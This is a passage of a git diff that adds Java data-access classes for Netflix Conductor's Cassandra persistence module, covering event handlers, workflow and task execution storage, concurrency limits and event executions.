.addClusteringColumn(TASK_DEF_NAME_KEY, DataType.text()) + .addColumn(TASK_DEFINITION_KEY, DataType.text()) + .getQueryString(); + } + + private String getCreateEventHandlersTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_EVENT_HANDLERS) + .ifNotExists() + .addPartitionKey(HANDLERS_KEY, DataType.text()) + .addClusteringColumn(EVENT_HANDLER_NAME_KEY, DataType.text()) + .addColumn(EVENT_HANDLER_KEY, DataType.text()) + .getQueryString(); + } + + private String getCreateEventExecutionsTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_EVENT_EXECUTIONS) + .ifNotExists() + .addPartitionKey(MESSAGE_ID_KEY, DataType.text()) + .addPartitionKey(EVENT_HANDLER_NAME_KEY, DataType.text()) + .addClusteringColumn(EVENT_EXECUTION_ID_KEY, DataType.text()) + .addColumn(PAYLOAD_KEY, DataType.text()) + .getQueryString(); + } + + String toJson(Object value) { + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException e) { + throw new NonTransientException("Error serializing to json", e); + } + } + + T readValue(String json, Class clazz) { + try { + return objectMapper.readValue(json, clazz); + } catch (IOException e) { + throw new NonTransientException("Error de-serializing json", e); + } + } + + void recordCassandraDaoRequests(String action) { + recordCassandraDaoRequests(action, "n/a", "n/a"); + } + + void recordCassandraDaoRequests(String action, String taskType, String workflowType) { + Monitors.recordDaoRequests(DAO_NAME, action, taskType, workflowType); + } + + void recordCassandraDaoEventRequests(String action, String event) { + Monitors.recordDaoEventRequests(DAO_NAME, action, event); + } + + void recordCassandraDaoPayloadSize( + String action, int size, String taskType, String workflowType) { + Monitors.recordDaoPayloadSize(DAO_NAME, action, taskType, workflowType, size); + } + + static class WorkflowMetadata { + + private int totalTasks; + private int totalPartitions; + + public int getTotalTasks() { + return totalTasks; + } + + public void setTotalTasks(int totalTasks) { + this.totalTasks = totalTasks; + } + + public int getTotalPartitions() { + return totalPartitions; + } + + public void setTotalPartitions(int totalPartitions) { + this.totalPartitions = totalPartitions; + } + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAO.java new file mode 100644 index 0000000..db6e1fa --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAO.java @@ -0,0 +1,148 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao; + +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.cassandra.util.Statements; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.metrics.Monitors; + +import com.datastax.driver.core.PreparedStatement; +import com.datastax.driver.core.ResultSet; +import com.datastax.driver.core.Row; +import com.datastax.driver.core.Session; +import com.datastax.driver.core.exceptions.DriverException; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.cassandra.util.Constants.EVENT_HANDLER_KEY; +import static com.netflix.conductor.cassandra.util.Constants.HANDLERS_KEY; + +@Trace +public class CassandraEventHandlerDAO extends CassandraBaseDAO implements EventHandlerDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(CassandraEventHandlerDAO.class); + private static final String CLASS_NAME = CassandraEventHandlerDAO.class.getSimpleName(); + + private final PreparedStatement insertEventHandlerStatement; + private final PreparedStatement selectAllEventHandlersStatement; + private final PreparedStatement deleteEventHandlerStatement; + + public CassandraEventHandlerDAO( + Session session, + ObjectMapper objectMapper, + CassandraProperties properties, + Statements statements) { + super(session, objectMapper, properties); + + insertEventHandlerStatement = + session.prepare(statements.getInsertEventHandlerStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + selectAllEventHandlersStatement = + session.prepare(statements.getSelectAllEventHandlersStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + deleteEventHandlerStatement = + session.prepare(statements.getDeleteEventHandlerStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + } + + @Override + public void addEventHandler(EventHandler eventHandler) { + insertOrUpdateEventHandler(eventHandler); + } + + @Override + public void updateEventHandler(EventHandler eventHandler) { + insertOrUpdateEventHandler(eventHandler); + } + + @Override + public void removeEventHandler(String name) { + try { + recordCassandraDaoRequests("removeEventHandler"); + session.execute(deleteEventHandlerStatement.bind(name)); + } catch (Exception e) { + Monitors.error(CLASS_NAME, "removeEventHandler"); + String errorMsg = String.format("Failed to remove event handler: %s", name); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public List getAllEventHandlers() { + return getAllEventHandlersFromDB(); + } + + @Override + public List getEventHandlersForEvent(String event, boolean activeOnly) { + if (activeOnly) { + return getAllEventHandlers().stream() + .filter(eventHandler -> eventHandler.getEvent().equals(event)) + .filter(EventHandler::isActive) + .collect(Collectors.toList()); + } else { + return getAllEventHandlers().stream() + .filter(eventHandler -> eventHandler.getEvent().equals(event)) + .collect(Collectors.toList()); + } + } + + @SuppressWarnings("unchecked") + private List getAllEventHandlersFromDB() { + try { + ResultSet resultSet = + session.execute(selectAllEventHandlersStatement.bind(HANDLERS_KEY)); + List rows = resultSet.all(); + if (rows.size() == 0) { + LOGGER.info("No event handlers were found."); + return Collections.EMPTY_LIST; + } + return rows.stream() + .map(row -> readValue(row.getString(EVENT_HANDLER_KEY), EventHandler.class)) + .collect(Collectors.toList()); + + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getAllEventHandlersFromDB"); + String errorMsg = "Failed to get all event handlers"; + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + private void insertOrUpdateEventHandler(EventHandler eventHandler) { + try { + String handler = toJson(eventHandler); + session.execute(insertEventHandlerStatement.bind(eventHandler.getName(), handler)); + recordCassandraDaoRequests("storeEventHandler"); + recordCassandraDaoPayloadSize("storeEventHandler", handler.length(), "n/a", "n/a"); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "insertOrUpdateEventHandler"); + String errorMsg = + String.format( + "Error creating/updating event handler: %s/%s", + eventHandler.getName(), eventHandler.getEvent()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraExecutionDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraExecutionDAO.java new file mode 100644 index 0000000..9fba8f2 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraExecutionDAO.java @@ -0,0 +1,884 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao; + +import java.util.*; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.cassandra.util.Statements; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.ConcurrentExecutionLimitDAO; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.datastax.driver.core.*; +import com.datastax.driver.core.exceptions.DriverException; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; +import com.google.common.base.Preconditions; + +import static com.netflix.conductor.cassandra.util.Constants.*; + +@Trace +public class CassandraExecutionDAO extends CassandraBaseDAO + implements ExecutionDAO, ConcurrentExecutionLimitDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(CassandraExecutionDAO.class); + private static final String CLASS_NAME = CassandraExecutionDAO.class.getSimpleName(); + + protected final PreparedStatement insertWorkflowStatement; + protected final PreparedStatement insertTaskStatement; + protected final PreparedStatement insertEventExecutionStatement; + + protected final PreparedStatement selectTotalStatement; + protected final PreparedStatement selectTaskStatement; + protected final PreparedStatement selectWorkflowStatement; + protected final PreparedStatement selectWorkflowWithTasksStatement; + protected final PreparedStatement selectTaskLookupStatement; + protected final PreparedStatement selectTasksFromTaskDefLimitStatement; + protected final PreparedStatement selectEventExecutionsStatement; + + protected final PreparedStatement updateWorkflowStatement; + protected final PreparedStatement updateTotalTasksStatement; + protected final PreparedStatement updateTotalPartitionsStatement; + protected final PreparedStatement updateTaskLookupStatement; + protected final PreparedStatement updateTaskDefLimitStatement; + protected final PreparedStatement updateEventExecutionStatement; + + protected final PreparedStatement deleteWorkflowStatement; + protected final PreparedStatement deleteTaskStatement; + protected final PreparedStatement deleteTaskLookupStatement; + protected final PreparedStatement deleteTaskDefLimitStatement; + protected final PreparedStatement deleteEventExecutionStatement; + + protected final int eventExecutionsTTL; + private final QueueDAO queueDAO; + + public CassandraExecutionDAO( + Session session, + ObjectMapper objectMapper, + CassandraProperties properties, + Statements statements, + QueueDAO queueDAO) { + super(session, objectMapper, properties); + + this.queueDAO = queueDAO; + eventExecutionsTTL = (int) properties.getEventExecutionPersistenceTtl().getSeconds(); + + this.insertWorkflowStatement = + session.prepare(statements.getInsertWorkflowStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.insertTaskStatement = + session.prepare(statements.getInsertTaskStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.insertEventExecutionStatement = + session.prepare(statements.getInsertEventExecutionStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + + this.selectTotalStatement = + session.prepare(statements.getSelectTotalStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectTaskStatement = + session.prepare(statements.getSelectTaskStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectWorkflowStatement = + session.prepare(statements.getSelectWorkflowStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectWorkflowWithTasksStatement = + session.prepare(statements.getSelectWorkflowWithTasksStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectTaskLookupStatement = + session.prepare(statements.getSelectTaskFromLookupTableStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectTasksFromTaskDefLimitStatement = + session.prepare(statements.getSelectTasksFromTaskDefLimitStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectEventExecutionsStatement = + session.prepare( + statements + .getSelectAllEventExecutionsForMessageFromEventExecutionsStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + + this.updateWorkflowStatement = + session.prepare(statements.getUpdateWorkflowStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.updateTotalTasksStatement = + session.prepare(statements.getUpdateTotalTasksStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.updateTotalPartitionsStatement = + session.prepare(statements.getUpdateTotalPartitionsStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.updateTaskLookupStatement = + session.prepare(statements.getUpdateTaskLookupStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.updateTaskDefLimitStatement = + session.prepare(statements.getUpdateTaskDefLimitStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.updateEventExecutionStatement = + session.prepare(statements.getUpdateEventExecutionStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + + this.deleteWorkflowStatement = + session.prepare(statements.getDeleteWorkflowStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.deleteTaskStatement = + session.prepare(statements.getDeleteTaskStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.deleteTaskLookupStatement = + session.prepare(statements.getDeleteTaskLookupStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.deleteTaskDefLimitStatement = + session.prepare(statements.getDeleteTaskDefLimitStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.deleteEventExecutionStatement = + session.prepare(statements.getDeleteEventExecutionsStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + } + + @Override + public List getPendingTasksByWorkflow(String taskName, String workflowId) { + List tasks = getTasksForWorkflow(workflowId); + return tasks.stream() + .filter(task -> taskName.equals(task.getTaskType())) + .filter(task -> TaskModel.Status.IN_PROGRESS.equals(task.getStatus())) + .collect(Collectors.toList()); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public List getTasks(String taskType, String startKey, int count) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + /** + * Inserts tasks into the Cassandra datastore. Note: Creates the task_id to workflow_id + * mapping in the task_lookup table first. Once this succeeds, inserts the tasks into the + * workflows table. Tasks belonging to the same shard are created using batch statements. + * + * @param tasks tasks to be created + */ + @Override + public List createTasks(List tasks) { + validateTasks(tasks); + String workflowId = tasks.get(0).getWorkflowInstanceId(); + UUID workflowUUID = toUUID(workflowId, "Invalid workflow id"); + try { + WorkflowMetadata workflowMetadata = getWorkflowMetadata(workflowId); + int totalTasks = workflowMetadata.getTotalTasks() + tasks.size(); + // TODO: write into multiple shards based on number of tasks + + // update the task_lookup table + tasks.forEach( + task -> { + if (task.getScheduledTime() == 0) { + task.setScheduledTime(System.currentTimeMillis()); + } + session.execute( + updateTaskLookupStatement.bind( + workflowUUID, toUUID(task.getTaskId(), "Invalid task id"))); + }); + + // update all the tasks in the workflow using batch + BatchStatement batchStatement = new BatchStatement(); + tasks.forEach( + task -> { + String taskPayload = toJson(task); + batchStatement.add( + insertTaskStatement.bind( + workflowUUID, + DEFAULT_SHARD_ID, + task.getTaskId(), + taskPayload)); + recordCassandraDaoRequests( + "createTask", task.getTaskType(), task.getWorkflowType()); + recordCassandraDaoPayloadSize( + "createTask", + taskPayload.length(), + task.getTaskType(), + task.getWorkflowType()); + }); + batchStatement.add( + updateTotalTasksStatement.bind(totalTasks, workflowUUID, DEFAULT_SHARD_ID)); + session.execute(batchStatement); + + // update the total tasks and partitions for the workflow + session.execute( + updateTotalPartitionsStatement.bind( + DEFAULT_TOTAL_PARTITIONS, totalTasks, workflowUUID)); + + return tasks; + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "createTasks"); + String errorMsg = + String.format( + "Error creating %d tasks for workflow: %s", tasks.size(), workflowId); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public void updateTask(TaskModel task) { + try { + // TODO: calculate the shard number the task belongs to + String taskPayload = toJson(task); + recordCassandraDaoRequests("updateTask", task.getTaskType(), task.getWorkflowType()); + recordCassandraDaoPayloadSize( + "updateTask", taskPayload.length(), task.getTaskType(), task.getWorkflowType()); + session.execute( + insertTaskStatement.bind( + UUID.fromString(task.getWorkflowInstanceId()), + DEFAULT_SHARD_ID, + task.getTaskId(), + taskPayload)); + if (task.getTaskDefinition().isPresent() + && task.getTaskDefinition().get().concurrencyLimit() > 0) { + if (task.getStatus().isTerminal()) { + removeTaskFromLimit(task); + String queueName = QueueUtils.getQueueName(task); + List nextIds = queueDAO.peekFirstIds(queueName, 1); + if (nextIds != null && !nextIds.isEmpty()) { + LOGGER.debug( + "Concurrency slot freed for {}, releasing postponed task {}", + task.getTaskDefName(), + nextIds.get(0)); + queueDAO.resetOffsetTime(queueName, nextIds.get(0)); + } + } else if (task.getStatus() == TaskModel.Status.IN_PROGRESS) { + addTaskToLimit(task); + } + } + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "updateTask"); + String errorMsg = + String.format( + "Error updating task: %s in workflow: %s", + task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public boolean exceedsLimit(TaskModel task) { + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isEmpty()) { + return false; + } + int limit = taskDefinition.get().concurrencyLimit(); + if (limit <= 0) { + return false; + } + + try { + recordCassandraDaoRequests( + "selectTaskDefLimit", task.getTaskType(), task.getWorkflowType()); + ResultSet resultSet = + session.execute( + selectTasksFromTaskDefLimitStatement.bind(task.getTaskDefName())); + List taskIds = + resultSet.all().stream() + .map(row -> row.getUUID(TASK_ID_KEY).toString()) + .collect(Collectors.toList()); + long current = taskIds.size(); + + if (!taskIds.contains(task.getTaskId()) && current >= limit) { + LOGGER.info( + "Task execution count limited. task - {}:{}, limit: {}, current: {}", + task.getTaskId(), + task.getTaskDefName(), + limit, + current); + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + return true; + } + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "exceedsLimit"); + String errorMsg = + String.format( + "Failed to get in progress limit - %s:%s in workflow :%s", + task.getTaskDefName(), task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + return false; + } + + @Override + public boolean removeTask(String taskId) { + TaskModel task = getTask(taskId); + if (task == null) { + LOGGER.warn("No such task found by id {}", taskId); + return false; + } + return removeTask(task); + } + + @Override + public TaskModel getTask(String taskId) { + try { + String workflowId = lookupWorkflowIdFromTaskId(taskId); + if (workflowId == null) { + return null; + } + // TODO: implement for query against multiple shards + + ResultSet resultSet = + session.execute( + selectTaskStatement.bind( + UUID.fromString(workflowId), DEFAULT_SHARD_ID, taskId)); + return Optional.ofNullable(resultSet.one()) + .map( + row -> { + String taskRow = row.getString(PAYLOAD_KEY); + TaskModel task = readValue(taskRow, TaskModel.class); + recordCassandraDaoRequests( + "getTask", task.getTaskType(), task.getWorkflowType()); + recordCassandraDaoPayloadSize( + "getTask", + taskRow.length(), + task.getTaskType(), + task.getWorkflowType()); + return task; + }) + .orElse(null); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getTask"); + String errorMsg = String.format("Error getting task by id: %s", taskId); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + @Override + public List getTasks(List taskIds) { + Preconditions.checkNotNull(taskIds); + Preconditions.checkArgument(taskIds.size() > 0, "Task ids list cannot be empty"); + String workflowId = lookupWorkflowIdFromTaskId(taskIds.get(0)); + if (workflowId == null) { + return null; + } + return getWorkflow(workflowId, true).getTasks().stream() + .filter(task -> taskIds.contains(task.getTaskId())) + .collect(Collectors.toList()); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public List getPendingTasksForTaskType(String taskType) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + @Override + public List getTasksForWorkflow(String workflowId) { + return getWorkflow(workflowId, true).getTasks(); + } + + @Override + public String createWorkflow(WorkflowModel workflow) { + try { + List tasks = workflow.getTasks(); + workflow.setTasks(new LinkedList<>()); + String payload = toJson(workflow); + + recordCassandraDaoRequests("createWorkflow", "n/a", workflow.getWorkflowName()); + recordCassandraDaoPayloadSize( + "createWorkflow", payload.length(), "n/a", workflow.getWorkflowName()); + session.execute( + insertWorkflowStatement.bind( + UUID.fromString(workflow.getWorkflowId()), 1, "", payload, 0, 1)); + + workflow.setTasks(tasks); + return workflow.getWorkflowId(); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "createWorkflow"); + String errorMsg = + String.format("Error creating workflow: %s", workflow.getWorkflowId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public String updateWorkflow(WorkflowModel workflow) { + try { + List tasks = workflow.getTasks(); + workflow.setTasks(new LinkedList<>()); + String payload = toJson(workflow); + recordCassandraDaoRequests("updateWorkflow", "n/a", workflow.getWorkflowName()); + recordCassandraDaoPayloadSize( + "updateWorkflow", payload.length(), "n/a", workflow.getWorkflowName()); + session.execute( + updateWorkflowStatement.bind( + payload, UUID.fromString(workflow.getWorkflowId()))); + workflow.setTasks(tasks); + return workflow.getWorkflowId(); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "updateWorkflow"); + String errorMsg = + String.format("Failed to update workflow: %s", workflow.getWorkflowId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + @Override + public boolean removeWorkflow(String workflowId) { + WorkflowModel workflow = getWorkflow(workflowId, true); + boolean removed = false; + // TODO: calculate number of shards and iterate + if (workflow != null) { + try { + recordCassandraDaoRequests("removeWorkflow", "n/a", workflow.getWorkflowName()); + ResultSet resultSet = + session.execute( + deleteWorkflowStatement.bind( + UUID.fromString(workflowId), DEFAULT_SHARD_ID)); + removed = resultSet.wasApplied(); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "removeWorkflow"); + String errorMsg = String.format("Failed to remove workflow: %s", workflowId); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + workflow.getTasks().forEach(this::removeTaskLookup); + } + return removed; + } + + /** + * This is a dummy implementation and this feature is not yet implemented for Cassandra backed + * Conductor + */ + @Override + public boolean removeWorkflowWithExpiry(String workflowId, int ttlSeconds) { + throw new UnsupportedOperationException( + "This method is not currently implemented in CassandraExecutionDAO. Please use RedisDAO mode instead now for using TTLs."); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public void removeFromPendingWorkflow(String workflowType, String workflowId) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + @Override + public WorkflowModel getWorkflow(String workflowId) { + return getWorkflow(workflowId, true); + } + + @Override + public WorkflowModel getWorkflow(String workflowId, boolean includeTasks) { + UUID workflowUUID = toUUID(workflowId, "Invalid workflow id"); + try { + WorkflowModel workflow = null; + ResultSet resultSet; + if (includeTasks) { + resultSet = + session.execute( + selectWorkflowWithTasksStatement.bind( + workflowUUID, DEFAULT_SHARD_ID)); + List tasks = new ArrayList<>(); + + List rows = resultSet.all(); + if (rows.size() == 0) { + LOGGER.info("Workflow {} not found in datastore", workflowId); + return null; + } + for (Row row : rows) { + String entityKey = row.getString(ENTITY_KEY); + if (ENTITY_TYPE_WORKFLOW.equals(entityKey)) { + workflow = readValue(row.getString(PAYLOAD_KEY), WorkflowModel.class); + } else if (ENTITY_TYPE_TASK.equals(entityKey)) { + TaskModel task = readValue(row.getString(PAYLOAD_KEY), TaskModel.class); + tasks.add(task); + } else { + throw new NonTransientException( + String.format( + "Invalid row with entityKey: %s found in datastore for workflow: %s", + entityKey, workflowId)); + } + } + + if (workflow != null) { + recordCassandraDaoRequests("getWorkflow", "n/a", workflow.getWorkflowName()); + tasks.sort(Comparator.comparingInt(TaskModel::getSeq)); + workflow.setTasks(tasks); + } + } else { + resultSet = session.execute(selectWorkflowStatement.bind(workflowUUID)); + workflow = + Optional.ofNullable(resultSet.one()) + .map( + row -> { + WorkflowModel wf = + readValue( + row.getString(PAYLOAD_KEY), + WorkflowModel.class); + recordCassandraDaoRequests( + "getWorkflow", "n/a", wf.getWorkflowName()); + return wf; + }) + .orElse(null); + } + return workflow; + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getWorkflow"); + String errorMsg = String.format("Failed to get workflow: %s", workflowId); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public List getRunningWorkflowIds(String workflowName, int version) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public List getPendingWorkflowsByType(String workflowName, int version) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public long getPendingWorkflowCount(String workflowName) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public long getInProgressTaskCount(String taskDefName) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public List getWorkflowsByType( + String workflowName, Long startTime, Long endTime) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + /** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor + */ + @Override + public List getWorkflowsByCorrelationId( + String workflowName, String correlationId, boolean includeTasks) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraExecutionDAO. Please use ExecutionDAOFacade instead."); + } + + @Override + public boolean canSearchAcrossWorkflows() { + return false; + } + + @Override + public boolean addEventExecution(EventExecution eventExecution) { + try { + String jsonPayload = toJson(eventExecution); + recordCassandraDaoEventRequests("addEventExecution", eventExecution.getEvent()); + recordCassandraDaoPayloadSize( + "addEventExecution", jsonPayload.length(), eventExecution.getEvent(), "n/a"); + return session.execute( + insertEventExecutionStatement.bind( + eventExecution.getMessageId(), + eventExecution.getName(), + eventExecution.getId(), + jsonPayload)) + .wasApplied(); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "addEventExecution"); + String errorMsg = + String.format( + "Failed to add event execution for event: %s, handler: %s", + eventExecution.getEvent(), eventExecution.getName()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + @Override + public void updateEventExecution(EventExecution eventExecution) { + try { + String jsonPayload = toJson(eventExecution); + recordCassandraDaoEventRequests("updateEventExecution", eventExecution.getEvent()); + recordCassandraDaoPayloadSize( + "updateEventExecution", jsonPayload.length(), eventExecution.getEvent(), "n/a"); + session.execute( + updateEventExecutionStatement.bind( + eventExecutionsTTL, + jsonPayload, + eventExecution.getMessageId(), + eventExecution.getName(), + eventExecution.getId())); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "updateEventExecution"); + String errorMsg = + String.format( + "Failed to update event execution for event: %s, handler: %s", + eventExecution.getEvent(), eventExecution.getName()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + @Override + public void removeEventExecution(EventExecution eventExecution) { + try { + recordCassandraDaoEventRequests("removeEventExecution", eventExecution.getEvent()); + session.execute( + deleteEventExecutionStatement.bind( + eventExecution.getMessageId(), + eventExecution.getName(), + eventExecution.getId())); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "removeEventExecution"); + String errorMsg = + String.format( + "Failed to remove event execution for event: %s, handler: %s", + eventExecution.getEvent(), eventExecution.getName()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + @VisibleForTesting + List getEventExecutions( + String eventHandlerName, String eventName, String messageId) { + try { + return session + .execute(selectEventExecutionsStatement.bind(messageId, eventHandlerName)) + .all() + .stream() + .filter(row -> !row.isNull(PAYLOAD_KEY)) + .map(row -> readValue(row.getString(PAYLOAD_KEY), EventExecution.class)) + .collect(Collectors.toList()); + } catch (DriverException e) { + String errorMsg = + String.format( + "Failed to fetch event executions for event: %s, handler: %s", + eventName, eventHandlerName); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + @Override + public void addTaskToLimit(TaskModel task) { + try { + recordCassandraDaoRequests( + "addTaskToLimit", task.getTaskType(), task.getWorkflowType()); + session.execute( + updateTaskDefLimitStatement.bind( + UUID.fromString(task.getWorkflowInstanceId()), + task.getTaskDefName(), + UUID.fromString(task.getTaskId()))); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "addTaskToLimit"); + String errorMsg = + String.format( + "Error updating taskDefLimit for task - %s:%s in workflow: %s", + task.getTaskDefName(), task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public void removeTaskFromLimit(TaskModel task) { + try { + recordCassandraDaoRequests( + "removeTaskFromLimit", task.getTaskType(), task.getWorkflowType()); + session.execute( + deleteTaskDefLimitStatement.bind( + task.getTaskDefName(), UUID.fromString(task.getTaskId()))); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "removeTaskFromLimit"); + String errorMsg = + String.format( + "Error updating taskDefLimit for task - %s:%s in workflow: %s", + task.getTaskDefName(), task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + protected boolean removeTask(TaskModel 